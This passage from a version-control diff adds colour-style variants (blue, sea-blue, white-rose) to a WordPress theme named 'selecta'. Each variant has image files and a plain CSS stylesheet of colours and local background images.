-r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/rounded-corners-light-normal.png Binary file web/wp-content/themes/selecta/color-styles/blue/rounded-corners-light-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/slider-lip.png Binary file web/wp-content/themes/selecta/color-styles/blue/slider-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/small-advert-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/small-advert-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/color-styles/blue/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,238 @@ +/*-------------------------------------------------------------------------------------------*/ +/*- SETUP STD CLASSES -----------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +body{color: #111; background: #7DBAEA;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GLOBAL CLASSES --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*--- Links ---*/ +a.std_link, a{color: #3C96DF;} +a:active{color: #c00;} +a:hover{color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- GENERAL LAYOUT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#header{background: #111;} +#feature-post-container{background: #3C96DF; border-top: 1px solid #D8EAF9; border-bottom: 1px solid #D8EAF9;} +.post-slider{border-bottom: 1px dotted #D8EAF9;} +#footer-container{background: #3C96DF; border-top: 1px solid #D8EAF9; border-bottom: 1px solid #D8EAF9;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HEADER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + /*--------------------------*/ + /*- MENU -------------------*/ + ul#menu li.parent-item a.parent-link:hover{color: #C8E724;} + + /*--------------------------*/ + /*- SUB MENU ---------------*/ + ul.sub-menu{background: url(submenu-header.png) top no-repeat;} + ul.sub-menu li{background: #fff;} + ul.sub-menu li a{border-bottom: 1px dotted #ccc;} + .sub-menu-footer{background: url(submenu-footer.png) bottom no-repeat;} + +/*-------------------------------------------------------------------------------------------*/ +/*- ROUNDED CORNERS - Before we do anything, let's set the rounded corners ------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +/*- ------------------------------------------------------------------------------------------- + NOTE: There are two color references in the div description + The first is the containers background color + "LIGHT" refers to the light containing div (eg. the copy containers) + "DARK" refers to the darker containing div (eg. side-bar containers) + The second reference is the background that the container sits it + "NORMAL" refers to the body background color + "DARK" refers to the darker containing div background color (eg. the 'feature post' container) +------------------------------------------------------------------------------------------ -*/ +.container-light{background: #fff;} +.container-dark{background: #111;} + +/*- LIGHT -*/ +.container-header-light-dark{background: url(rounded-corners-light-dark.png) 100% 0;} +.container-header-light-dark span{background: url(rounded-corners-light-dark.png) 0 0;} +.container-footer-light-dark{background: url(rounded-corners-light-dark.png) 0 100%;} +.container-footer-light-dark span{background: url(rounded-corners-light-dark.png) 100% 100%;} + +.container-header-light-normal{background: url(rounded-corners-light-normal.png) 100% 0;} +.container-header-light-normal span{background: url(rounded-corners-light-normal.png) 0 0;} +.container-footer-light-normal{background: url(rounded-corners-light-normal.png) 0 100%;} +.container-footer-light-normal span{background: url(rounded-corners-light-normal.png) 100% 100%;} + +/*- DARK -*/ +.container-header-dark-dark{background: url(rounded-corners-dark-dark.png) 100% 0;} +.container-header-dark-dark span{background: url(rounded-corners-dark-dark.png) 0 0;} +.container-footer-dark-dark{background: url(rounded-corners-dark-dark.png) 0 100%;} +.container-footer-dark-dark span{background: url(rounded-corners-dark-dark.png) 100% 100%;} + +.container-header-dark-normal{background: url(rounded-corners-dark-normal.png) 100% 0;} +.container-header-dark-normal span{background: url(rounded-corners-dark-normal.png) 0 0;} +.container-footer-dark-normal{background: url(rounded-corners-dark-normal.png) 0 100%;} +.container-footer-dark-normal span{background: url(rounded-corners-dark-normal.png) 100% 100%;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HOME PAGE LAYOUT ------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------------------*/ + /*- FEATURE POSTS ----------------------------------------*/ + .selected-feature{} + .selected-feature .feature-title{background: url(title-swish-bg.png) bottom left no-repeat;} + .selected-feature h4{color: #C8E724;} + .selected-feature h2 a{color: #111;} + .selected-feature h2 a:hover{color: #fff;} + + ul.feature-list li span.item{color: #fff; background: url(feature-list-number-bg.png) top left no-repeat;} + ul.feature-list li h4{color: #C8E724;} + ul.feature-list li a{color: #111;} + ul.feature-list li a:hover{color: #fff;} + + + /*-------------------------------------------------------------*/ + /*- THE FEATURE CONTAINER DIV IS ALSO USED FOR PAGE TITLES ----*/ + #feature-post h1{color: #000;} + + + /*--------------------------------------------------------*/ + /*- POST SLIDER ------------------------------------------*/ + .post-slider ul li .content{background: #fff;} + .post-slider ul li h3{background: url(slider-lip.png) 15px 0px no-repeat;} + .post-slider ul li h3 a{color: #111;} + .post-slider ul li h3 a:hover{color: #fff;} + + + /*--------------------------------------------------------*/ + /*- PAGINATION -------------------------------------------*/ + ul.page_button_content li a{background: url(pagination.png) no-repeat;} + ul.page_button_content li a.other-page:hover{color: #fff;} + ul.page_button_content li a.selected-page{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POSTS CLASSES ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*- RESET SOME CLASSES FOR THE COPY AFTER CLEARING EVERYTHING AT THE TOP OF THE CSS -*/ +.post .copy a{color: #3C96DF;} + .post .copy a:hover{color: #000;} +.post .copy ol, .post .copy ul{color: #555;} + +.post{} + .post-title{background: url(title-swish-bg.png) bottom left no-repeat;} + + .post h2.title a{color: #111;} + .post h2.title a:hover{color: #fff;} + .post h4.date{color: #c00;} + + .post .copy{background: #fff;} + .post .copy a.action-link{background: url(action-bg.png) left top no-repeat;} + .post .copy a.action-link span{background: url(action-bg.png) top right no-repeat; color: #fff;} + .post a.post-comments:hover{color: #111;} + +.post-section-title{border-bottom: 1px dotted #D8EAF9;} + +/*-------------------------------------------------------------------------------------------*/ +/*- PROMOTE POST ----------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.enjoy-copy{color: #575757;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- COMMENTS --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.comment h3{color: #111; border-bottom: 1px dotted #ccc;} + .comment h3 a{color: #111;} + .comment h3 a:hover{color: #3C96DF;} + .comment h3 .comment-date{color: #777;} + + .user{background: url(comment-lip.png) top right no-repeat;} + .user img{background: url(avatar-bg.png) bottom no-repeat;} + .user a.reply-link{color: #111; background: url(reply-button.png) top no-repeat;} + + .comment-content{background: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POST A COMMENT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + .comment-form-content .comment_form label{color: #fff;} + + .comment-input{background: url(comment-input-bg.png) no-repeat;} + .comment-input input{color: #ccc;} + + .checkbox{color: #111;} + + .comment-texarea{background: url(comment-message-bg.png) no-repeat;} + .comment-texarea textarea{color: #ccc; background: none;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- ARCHIVES --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +a.archive-date{color: #0E3454;} + a.archive-date:hover{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SIDE BAR --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#sidebar h2, #sidebar h2 a{color: #3C96DF;} + +#sidebar ul li.widget{color: #999;} + #sidebar ul li ul li{border-bottom: 1px dotted #444; color: #999;} + #sidebar ul li a{color: #fff;} + #sidebar ul li a:hover{color: #C8E724;} + + /*--------------------------------------------*/ + /*- SPECIFIC SIDE BAR STYLE ------------------*/ + #sidebar ul li.flickr, #sidebar ul li.recent-comments, #sidebar ul li.sponsors{} + #sidebar ul li.recent-comments h2, #sidebar ul li.flickr h2{color: #111;} + + + /*--------------------------------------------*/ + /*- SPONSORS ---------------------------------*/ + #sidebar .advert{background: url(small-advert-bg.png);} + + + /*--------------------------------------------*/ + /*- DETAILED LISTING IN SIDE BAR -------------*/ + #sidebar ul li.recent-comments h2.recent-comments-title{color: #111;} + #sidebar ul li.recent-comments ul li{border-bottom: 1px dotted #333;} + #sidebar ul li.recent-comments ul li a.detail-image{background: url(avatar-bg.png) top no-repeat;} + #sidebar ul li.recent-comments ul li a.detail-image:hover{background: url(avatar-bg.png) bottom no-repeat;} + + #sidebar ul li.recent-comments ul li a.detail-link{color: #ccc;} + #sidebar ul li.recent-comments ul li a.detail-link span.date{color: #3C96DF;} + #sidebar ul li.recent-comments ul li a.detail-link:hover{color: #C8E724;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- FOOTER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + ul.footer-columns h3{color: #7DBAEA;} + ul.footer-columns p{color: #555;} + + ul.footer-columns ul li{color: #999; border-bottom: 1px dotted #555;} + ul.footer-columns a{color: #999;} + ul.footer-columns a:hover{color: #C8E724;} + + p.copyright{color: #D8EAF9;} + p.copyright a{color: #fff;} + p.copyright a:hover{color: #111;} + a.obox-logo{background: url(obox-logo.png) bottom;} + a.obox-logo:hover{background: url(obox-logo.png) top;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SOME STANDARD WORDPRESS PLUGIN/WIDGET STYLES --------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------*/ + /*- FLICKR -----------------------------------*/ + #flickr_badge_wrapper .flickr_badge_image a{background: url(flickr-bg.png) top no-repeat;} + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/submenu-footer.png Binary file web/wp-content/themes/selecta/color-styles/blue/submenu-footer.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/submenu-header.png Binary file web/wp-content/themes/selecta/color-styles/blue/submenu-header.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/submit-comment.png Binary file web/wp-content/themes/selecta/color-styles/blue/submit-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/blue/title-swish-bg.png Binary file web/wp-content/themes/selecta/color-styles/blue/title-swish-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/Thumbs.db Binary file web/wp-content/themes/selecta/color-styles/sea-blue/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/action-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/action-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/avatar-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/avatar-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/comment-input-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/comment-input-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/comment-lip.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/comment-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/comment-message-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/comment-message-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/feature-list-number-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/feature-list-number-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/flickr-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/flickr-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/obox-logo.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/obox-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/pagination.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/pagination.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/reply-button.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/reply-button.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-dark-dark.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-dark-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-dark-normal.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-dark-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-light-1.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-light-1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-light-dark.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-light-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-light-normal.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/rounded-corners-light-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/slider-lip.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/slider-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/small-advert-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/small-advert-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/color-styles/sea-blue/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,237 @@ +/*-------------------------------------------------------------------------------------------*/ +/*- SETUP STD CLASSES -----------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +body{color: #111; background: #BBD5DB;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GLOBAL CLASSES --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*--- Links ---*/ +a.std_link, a{color: #8B9898;} +a:active{color: #4E8492;} +a:hover{color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- GENERAL LAYOUT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#header{background: #111;} +#feature-post-container{background: #8B9898; border-top: 1px solid #E4EFF1; border-bottom: 1px solid #E4EFF1;} +.post-slider{border-bottom: 1px dotted #E4EFF1;} +#footer-container{background: #8B9898; border-top: 1px solid #E4EFF1; border-bottom: 1px solid #E4EFF1;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HEADER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + /*--------------------------*/ + /*- MENU -------------------*/ + ul#menu li.parent-item a.parent-link:hover{color: #35A5AA;} + + /*--------------------------*/ + /*- SUB MENU ---------------*/ + ul.sub-menu{background: url(submenu-header.png) top no-repeat;} + ul.sub-menu li{background: #fff;} + ul.sub-menu li a{border-bottom: 1px dotted #ccc;} + .sub-menu-footer{background: url(submenu-footer.png) bottom no-repeat;} + +/*-------------------------------------------------------------------------------------------*/ +/*- ROUNDED CORNERS - Before we do anything, let's set the rounded corners ------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +/*- ------------------------------------------------------------------------------------------- + NOTE: There are two color references in the div description + The first is the containers background color + "LIGHT" refers to the light containing div (eg. the copy containers) + "DARK" refers to the darker containing div (eg. side-bar containers) + The second reference is the background that the container sits it + "NORMAL" refers to the body background color + "DARK" refers to the darker containing div background color (eg. the 'feature post' container) +------------------------------------------------------------------------------------------ -*/ +.container-light{background: #fff;} +.container-dark{background: #111;} + +/*- LIGHT -*/ +.container-header-light-dark{background: url(rounded-corners-light-dark.png) 100% 0;} +.container-header-light-dark span{background: url(rounded-corners-light-dark.png) 0 0;} +.container-footer-light-dark{background: url(rounded-corners-light-dark.png) 0 100%;} +.container-footer-light-dark span{background: url(rounded-corners-light-dark.png) 100% 100%;} + +.container-header-light-normal{background: url(rounded-corners-light-normal.png) 100% 0;} +.container-header-light-normal span{background: url(rounded-corners-light-normal.png) 0 0;} +.container-footer-light-normal{background: url(rounded-corners-light-normal.png) 0 100%;} +.container-footer-light-normal span{background: url(rounded-corners-light-normal.png) 100% 100%;} + +/*- DARK -*/ +.container-header-dark-dark{background: url(rounded-corners-dark-dark.png) 100% 0;} +.container-header-dark-dark span{background: url(rounded-corners-dark-dark.png) 0 0;} +.container-footer-dark-dark{background: url(rounded-corners-dark-dark.png) 0 100%;} +.container-footer-dark-dark span{background: url(rounded-corners-dark-dark.png) 100% 100%;} + +.container-header-dark-normal{background: url(rounded-corners-dark-normal.png) 100% 0;} +.container-header-dark-normal span{background: url(rounded-corners-dark-normal.png) 0 0;} +.container-footer-dark-normal{background: url(rounded-corners-dark-normal.png) 0 100%;} +.container-footer-dark-normal span{background: url(rounded-corners-dark-normal.png) 100% 100%;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HOME PAGE LAYOUT ------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------------------*/ + /*- FEATURE POSTS ----------------------------------------*/ + .selected-feature{} + .selected-feature .feature-title{background: url(title-swish-bg.png) bottom left no-repeat;} + .selected-feature h4{color: #fff;} + .selected-feature h2 a{color: #111;} + .selected-feature h2 a:hover{color: #fff;} + + ul.feature-list li span.item{color: #fff; background: url(feature-list-number-bg.png) top left no-repeat;} + ul.feature-list li h4{color: #fff;} + ul.feature-list li a{color: #111;} + ul.feature-list li a:hover{color: #fff;} + + + /*-------------------------------------------------------------*/ + /*- THE FEATURE CONTAINER DIV IS ALSO USED FOR PAGE TITLES ----*/ + #feature-post h1{color: #000;} + + + /*--------------------------------------------------------*/ + /*- POST SLIDER ------------------------------------------*/ + .post-slider ul li .content{background: #fff;} + .post-slider ul li h3{background: url(slider-lip.png) 15px 0px no-repeat;} + .post-slider ul li h3 a{color: #111;} + .post-slider ul li h3 a:hover{color: #8B9898;} + + + /*--------------------------------------------------------*/ + /*- PAGINATION -------------------------------------------*/ + ul.page_button_content li a{background: url(pagination.png) no-repeat;} + ul.page_button_content li a.selected-page{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POSTS CLASSES ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*- RESET SOME CLASSES FOR THE COPY AFTER CLEARING EVERYTHING AT THE TOP OF THE CSS -*/ +.post .copy a{color: #8B9898;} + .post .copy a:hover{color: #000;} +.post .copy ol, .post .copy ul{color: #555;} + +.post{} + .post-title{background: url(title-swish-bg.png) bottom left no-repeat;} + + .post h2.title a{color: #111;} + .post h2.title a:hover{color: #8B9898;} + .post h4.date{color: #fff;} + + .post .copy{background: #fff;} + .post .copy a.action-link{background: url(action-bg.png) left top no-repeat;} + .post .copy a.action-link span{background: url(action-bg.png) top right no-repeat; color: #fff;} + .post a.post-comments:hover{color: #111;} + +.post-section-title{border-bottom: 1px dotted #E4EFF1;} + +/*-------------------------------------------------------------------------------------------*/ +/*- PROMOTE POST ----------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.enjoy-copy{color: #575757;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- COMMENTS --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.comment h3{color: #111; border-bottom: 1px dotted #ccc;} + .comment h3 a{color: #111;} + .comment h3 a:hover{color: #8B9898;} + .comment h3 .comment-date{color: #777;} + + .user{background: url(comment-lip.png) top right no-repeat;} + .user img{background: url(avatar-bg.png) bottom no-repeat;} + .user a.reply-link{color: #111; background: url(reply-button.png) top no-repeat;} + + .comment-content{background: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POST A COMMENT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + .comment-form-content .comment_form label{color: #4E8492;} + + .comment-input{background: url(comment-input-bg.png) no-repeat;} + .comment-input input{color: #ccc;} + + .checkbox{color: #4E8492;} + + .comment-texarea{background: url(comment-message-bg.png) no-repeat;} + .comment-texarea textarea{color: #ccc; background: none;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- ARCHIVES --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +a.archive-date{color: #0E3454;} + a.archive-date:hover{color: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SIDE BAR --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#sidebar h2, #sidebar h2 a{color: #8B9898;} + +#sidebar ul li.widget{color: #999;} + #sidebar ul li ul li{border-bottom: 1px dotted #444; color: #999;} + #sidebar ul li a{color: #fff;} + #sidebar ul li a:hover{color: #35A5AA;} + + /*--------------------------------------------*/ + /*- SPECIFIC SIDE BAR STYLE ------------------*/ + #sidebar ul li.flickr, #sidebar ul li.recent-comments, #sidebar ul li.sponsors{} + #sidebar ul li.recent-comments h2, #sidebar ul li.flickr h2{color: #111;} + + + /*--------------------------------------------*/ + /*- SPONSORS ---------------------------------*/ + #sidebar .advert{background: url(small-advert-bg.png);} + + + /*--------------------------------------------*/ + /*- DETAILED LISTING IN SIDE BAR -------------*/ + #sidebar ul li.recent-comments h2.recent-comments-title{color: #111;} + #sidebar ul li.recent-comments ul li{border-bottom: 1px dotted #333;} + #sidebar ul li.recent-comments ul li a.detail-image{background: url(avatar-bg.png) top no-repeat;} + #sidebar ul li.recent-comments ul li a.detail-image:hover{background: url(avatar-bg.png) bottom no-repeat;} + + #sidebar ul li.recent-comments ul li a.detail-link{color: #ccc;} + #sidebar ul li.recent-comments ul li a.detail-link span.date{color: #8B9898;} + #sidebar ul li.recent-comments ul li a.detail-link:hover{color: #35A5AA;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- FOOTER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + ul.footer-columns h3{color: #7DBAEA;} + ul.footer-columns p{color: #555;} + + ul.footer-columns ul li{color: #999; border-bottom: 1px dotted #555;} + ul.footer-columns a{color: #999;} + ul.footer-columns a:hover{color: #35A5AA;} + + p.copyright{color: #E4EFF1;} + p.copyright a{color: #fff;} + p.copyright a:hover{color: #111;} + a.obox-logo{background: url(obox-logo.png) bottom;} + a.obox-logo:hover{background: url(obox-logo.png) top;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SOME STANDARD WORDPRESS PLUGIN/WIDGET STYLES --------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------*/ + /*- FLICKR -----------------------------------*/ + #flickr_badge_wrapper .flickr_badge_image a{background: url(flickr-bg.png) top no-repeat;} + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/submenu-footer.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/submenu-footer.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/submenu-header.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/submenu-header.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/submit-comment.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/submit-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/sea-blue/title-swish-bg.png Binary file web/wp-content/themes/selecta/color-styles/sea-blue/title-swish-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/Thumbs.db Binary file web/wp-content/themes/selecta/color-styles/white-rose/Thumbs.db has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/action-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/action-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/avatar-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/avatar-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/comment-input-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/comment-input-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/comment-lip.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/comment-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/comment-message-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/comment-message-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/feature-list-number-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/feature-list-number-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/flickr-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/flickr-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/obox-logo.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/obox-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/pagination.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/pagination.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/reply-button.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/reply-button.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-dark-dark.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-dark-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-dark-n.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-dark-n.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-dark-normal.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-dark-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-light-1.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-light-1.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-light-dark.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-light-dark.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-light-normal.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/rounded-corners-light-normal.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/slider-lip.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/slider-lip.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/small-advert-bg.png Binary file web/wp-content/themes/selecta/color-styles/white-rose/small-advert-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/color-styles/white-rose/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/color-styles/white-rose/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,240 @@ +/*-------------------------------------------------------------------------------------------*/ +/*- SETUP STD CLASSES -----------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +body{color: #111; background: #fff;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GLOBAL CLASSES --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*--- Links ---*/ +a.std_link, a{color: #FF3333;} +a:active{color: #c00;} +a:hover{color: #111;} + +/*-------------------------------------------------------------------------------------------*/ +/*- GENERAL LAYOUT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#header{background: #111;} +#feature-post-container{background: #FF3333; border-top: 1px solid #f00; border-bottom: 1px solid #f00;} +.post-slider{border-bottom: 1px dotted #777;} +#footer-container{background: #FF3333; border-top: 1px solid #f00; border-bottom: 1px solid #f00;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HEADER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + /*--------------------------*/ + /*- MENU -------------------*/ + ul#menu li.parent-item a.parent-link:hover{color: #FFC4C4;} + + /*--------------------------*/ + /*- SUB MENU ---------------*/ + ul.sub-menu{background: url(submenu-header.png) top 